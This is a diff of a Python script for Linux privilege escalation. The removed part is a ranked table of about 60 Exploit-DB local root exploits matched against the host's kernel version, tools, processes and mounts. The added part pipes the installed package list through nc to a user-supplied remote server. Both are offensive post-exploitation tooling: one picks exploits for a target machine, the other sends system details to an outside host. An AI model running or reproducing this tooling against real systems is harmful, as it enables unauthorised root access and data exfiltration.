239 239 print 240 240 print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 241 241 242 - # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) 243 - # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' 244 - sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 245 - "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 246 - "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, 247 - "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 248 - "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 249 - "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 250 - "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 251 - "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 252 - "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, 253 - "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 254 - "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, 255 - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 256 - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 257 - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 258 - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 259 - "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 260 - "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 261 - "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 262 - "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 263 - "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, 264 - "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 265 - "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 266 - "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, 267 - "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 268 - "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 269 - "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 270 - "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 271 - "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 272 - "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 273 - "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 274 - "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 275 - "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, 276 - "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 277 - "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 278 - "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 279 - "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 280 - "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 281 - "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 282 - "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 283 - "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 284 - "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 285 - "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, 286 - "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 287 - "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 288 - "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, 289 - "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, 290 - "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, 291 - "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 292 - "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 293 - "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 294 - "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 295 - "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 296 - "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 297 - "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 298 - "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 299 - "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, 300 - "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 301 - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 302 - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 303 - "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, 304 - "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 305 - "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 306 - } 307 - 308 - # variable declaration 309 - os = sysInfo["OS"]["results"][0] 310 - version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] 311 - langs = devTools["TOOLS"]["results"] 312 - procs = getAppProc["PROCS"]["results"] 313 - kernel = str(sysInfo["KERNEL"]["results"][0]) 314 - mount = driveInfo["MOUNT"]["results"] 315 - #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future 316 - 317 - 318 - # lists to hold ranked, applicable sploits 319 - # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks 320 - # all applicable exploits should be checked and this function could probably use some improvement 321 - avgprob = [] 322 - highprob = [] 323 - 324 - for sploit in sploits: 325 - lang = 0 # use to rank applicability of sploits 326 - keyword = sploits[sploit]["keywords"]["val"] 327 - sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] 328 - # first check for kernell applicability 329 - if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): 330 - # next check language applicability 331 - if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): 332 - lang = 1 # language found, increase applicability score 333 - elif sploits[sploit]["lang"] == "sh": 334 - lang = 1 # language found, increase applicability score 335 - elif (sploits[sploit]["lang"] in str(langs)): 336 - lang = 1 # language found, increase applicability score 337 - if lang == 0: 338 - sploitout = sploitout + "**" # added mark if language not detected on system 339 - # next check keyword matches to determine if some sploits have a higher probability of success 340 - for loc in sploits[sploit]["keywords"]["loc"]: 341 - if loc == "proc": 342 - for proc in procs: 343 - if keyword in proc: 344 - highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability 345 - break 346 - break 347 - elif loc == "os": 348 - if (keyword in os) or (keyword in kernel): 349 - highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability 350 - break 351 - elif loc == "mnt": 352 - if keyword in mount: 353 - highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability 354 - break 355 - else: 356 - avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version 357 - 358 - print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" 359 - print 360 - 361 - print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" 362 - for exploit in highprob: 363 - print " - " + exploit 364 - print 365 - 366 - print " The following exploits are applicable to this kernel version and should be investigated as well" 367 - for exploit in avgprob: 368 - print " - " + exploit 242 + question = raw_input("[?] Would you like to search for possible exploits? [y/N] ") 243 + if 'y' in question.lower(): 244 + server = raw_input("[?] What is the address of the server? ") 245 + port = raw_input("[?] What port is the server using? ") 246 + print "[ ] Connecting to {}:{}".format(server,port) 247 + exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 248 + exploits_results = execCmd(exploits) 249 + printResults(exploits) 369 250 370 251 print 371 252 print "Finished"
